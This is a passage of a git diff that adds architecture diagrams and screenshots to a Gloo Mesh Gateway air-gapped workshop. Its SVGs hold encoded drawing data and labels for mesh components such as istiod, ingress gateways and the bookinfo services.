WXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2XHUwMDBiYSo/rFxuXHUwMDE4KYSmSKPfRMC4iVx1MDAxMW/ouiRGYDFMKi2QMCVUaEVs3/ohRrhFXHUwMDEwXHUwMDAyk1x1MDAwZUtcdTAwMDJrqyVbk1wivkSbd1x1MDAxYdzynIg22kzARlL4N1x1MDAxM2xtUlx1MDAxOFvyY1ZcdTAwMDJcdTAwMDPd/V6yjdClv18j7C1F24bUX3dcdTAwMDQlsSCAKbZcYj7qkXJcdTAwMWZPcq99epZKX1x1MDAwYplcdTAwMWK8VnW0o7CxQJ7JjtzkQpKAwrBXPZH7XHUwMDFkmFx1MDAwMcdcdTAwMDLFYFx1MDAxYc1cdTAwMDOz91ns8nh6cYJbp6ei8Zg+viuis+hcdTAwMWWYPZxeM5VcdTAwMTk+t3msN72NMfJeq/gsXHUwMDBi5jlu9ub8lpL35PNFPJHJXo/qd/XOXVx1MDAwMONcdTAwMDa+vJtOSJxvuFx1MDAxOHaNnkJP71wi7sjMlLgwsSb+jT/v9YzoXHRcdFxiL+0pvFx1MDAxOFx1MDAwNu1cdTAwMTGM8Np0RLJRgK3H4FxiUHmKSlx1MDAxOZ53NoInJr1+tzQqXHUwMDBle/mqs18mrDicXHK6edVbY5/mXHUwMDFl8EK5XHUwMDFlloB5Soi04buNLJpuntyVupXabSV13VXl6vnlw8StYmhU0Fx1MDAwNVvJXHUwMDFlXy2lwFRgXGZcdTAwMWE0ujB4lCBcdTAwMWHNXHUwMDFjL0FopjHl6UbjZthJ1yentfO4XHUwMDBiXGbYXHUwMDA2XYQ07FdcdTAwMDMt/dJFvl6qXHUwMDBleOn9+rGTrzynyOlzXHUwMDAw41x1MDAwNr68m0CL81xyXHUwMDBmXHRa3Fx1MDAwNVwiwZhcdTAwMGLFt8l69V7PqIJcdTAwMTbGPOtVXG4hXHUwMDAys7h2iFx1MDAxNF4vSSlcdTAwMTlAXHUwMDE0ZFx1MDAwZmn+XHUwMDAzYEqpXGbgoTVwhihq6euBQZRcclxuflx1MDAxNaL8muLu8IQyV1x1MDAxM4IzqqjiW1x1MDAxND57r5wnyplscSaOxzHdw1x1MDAxOf6YdrMgolx1MDAwMk9cdTAwMDTyhCdcdTAwMTKQQ0ThicJEKqojmoJ+diUqM/30OD7LvLaBcNJvj++x/XHE11x1MDAxYTYsXHUwMDE0XHUwMDEx0nSH53qWeX5KTpsk0c+PR3GZXHUwMDFlJUJccjp1fpBcdTAwMDOiXHUwMDEzaqusvlx1MDAxYUOjtOJqmzwm722KKjhcdTAwMTHIXHUwMDEznEhFXHUwMDBlXHROXHUwMDFj0pgw52BG6j/Kh9LPXHUwMDBm652qXHUwMDBiOFx0K4/JW72vgpNfU9xcdTAwMDOcuJdtUJgrXHUwMDEzbuzfvUmOmT4rydf8tJxcdTAwMWXn+8niXVbeRlx1MDAxY5xIY1xiePlOdFTBXHTWTCnJWIhxp/ugk8a01bwu3N+owv1VoVF9LKaafZcziW1cdTAwMTTo11x1MDAxYTasg5mQpvv56MT5QVx1MDAwZYpO0Oq7i1x1MDAwM1x1MDAxZiyRQGyL0rze+1x1MDAxNFV4XCIl9vadyGj5Tlx1MDAxOMdMMVx1MDAwMFV/XHUwMDE0PCm/18vjz/WdbFDwa/Dk51x1MDAxND1cdTAwMTnRNSjOXvJ3lVx1MDAxM8m8MjTbXCLu1tuLvVx1MDAxNSeSz+NEQaWlpVx1MDAxNlxmU61cZiktc1wi18JSiFKMsVDSvVx1MDAwZty+jKioxangkjOp4LLVXHUwMDEyWqSqXHUwMDExSyNFTUM6TFx1MDAxNF3nUlx1MDAwNfJCKIpcdTAwMGVcdTAwMTeO/ymRcd4noEeLKDRcdTAwMTNPysHURVxiXHUwMDEwnFx1MDAxMEQge7zpryg0alGQxppiLqjQZD1cYs1XaJy3z3N5UoaYTLV/hCU2zVx1MDAwN8XapLRFMGNYXGJFKJPyI1xm9otGxrlcdTAwMTK3udbIejHcX/afW0s3wdy9IJKZWMktQuK8YWZUhZsk1FwiSFxujYBcdTAwMDeFzbnwU7YpXHUwMDBiwYtcdTAwMTZKYcmxe9TvvtJNalx1MDAwYitOJUZcdTAwMDQpxJVDu1x1MDAxOFx1MDAxMMMm/0FcdTAwMTKm5vGgq8KNXGKuOWCQ8Fx1MDAxMMjXXHUwMDEybiBGwDSlhGhlsJmiNqb6JdqYJShcYjelYOtB+Fx0uZts88Yky3NcdTAwMDKkKI1cdTAwMWJLc8Wwdlxi+lx1MDAwNTtcdTAwMWOQXHUwMDA1U4IpjTGnXzvo15WwzbVK0ltcbrZcclx1MDAxMTlk9d2P9GVMwaqQW1x1MDAwNM0l7tKj9+tYb4JTeDxcIvX+NT1x8ypFxoYyx8/avVx1MDAxOCjT2p9cdPX5rX5gblxitsfmpI+SV+nrdfpcdTAwMTGuelx1MDAxZVx1MDAwYlx1MDAwNCRAt+lcdTAwMWR610s2jjmtnlx1MDAwZk6m2dfn1mum+5aPPi9cYi9eXHUwMDEwlPhzsVx1MDAxZaTRXHUwMDBmWF9S84i2r/56jX6Ua/484DxcdTAwMDRcZkH9K4a7wVls+NZEb3eZ2Fx1MDAxYj95jyWTtZdoXHUwMDFmN4Ci9WJcdTAwMDVORHDl+Fx1MDAwMz5tQExSTomOZlwiyE2l0jjNXHUwMDBlume9XFw/l22fNth54Ti6MZXvsefs6LbWTbZksXL1Uu7Oklx1MDAwM1x1MDAxMcC4/HZ0VinN1EtV3uVzuVYu/db0KVx1MDAxMDzHXHJpeUNcdTAwMWH2+Vq0XHUwMDEyiedXObrsXHUwMDBlrp/v1etbtb/XKmwsx+/4IJ8gbd3bXHUwMDEyucJcdTAwMGVcdTAwMDKQQ1xusk0rWu99iijskFx1MDAwNld4yFrG/JUqOUzaiqRcdTAwMThxMM3+qJCLQ6WtbEBcdTAwMTLhpK1Q917RXHUwMDA0cdC1xlx1MDAxYumbRes3w7uz2vVgpppjPDq91MVRXHUwMDE2R1x1MDAxYlxmcUE97Vx1MDAwMu6zcdhcdTAwMDHAXHUwMDEw0ZxLRlU0zYKpJG/t8XOx03pJXHUwMDE2s5V0LNfW9/ur1ZCG/WpcdTAwMThrNpXq9Fx1MDAwMuez5WSO3DVeLuhgelx1MDAxM8C4X2XXNmEh51x1MDAxYlx1MDAxZVx1MDAxMFx1MDAwYlH3XHUwMDFjXiHBuGdiXHUwMDBiXHUwMDBmjPdyRlx1MDAxNFxucaE8JS18XHUwMDFjlNlcdTAwMTlMMozWmmD2Z7VoPEQyzFx1MDAwNtRcdTAwMTBCMoxytUtcdTAwMTjV3JRW8s2KT+1BIVx1MDAxM384LTZPkpnk2/Esn7raqa7pZ/p/PCGPXHUwMDE0PnuEXHUwMDFkXHUwMDAw8mDMgS0pjmYuzPvd9aAx0bysX17uhzr9LtXl6/7K82tcclx1MDAxYlx1MDAxNj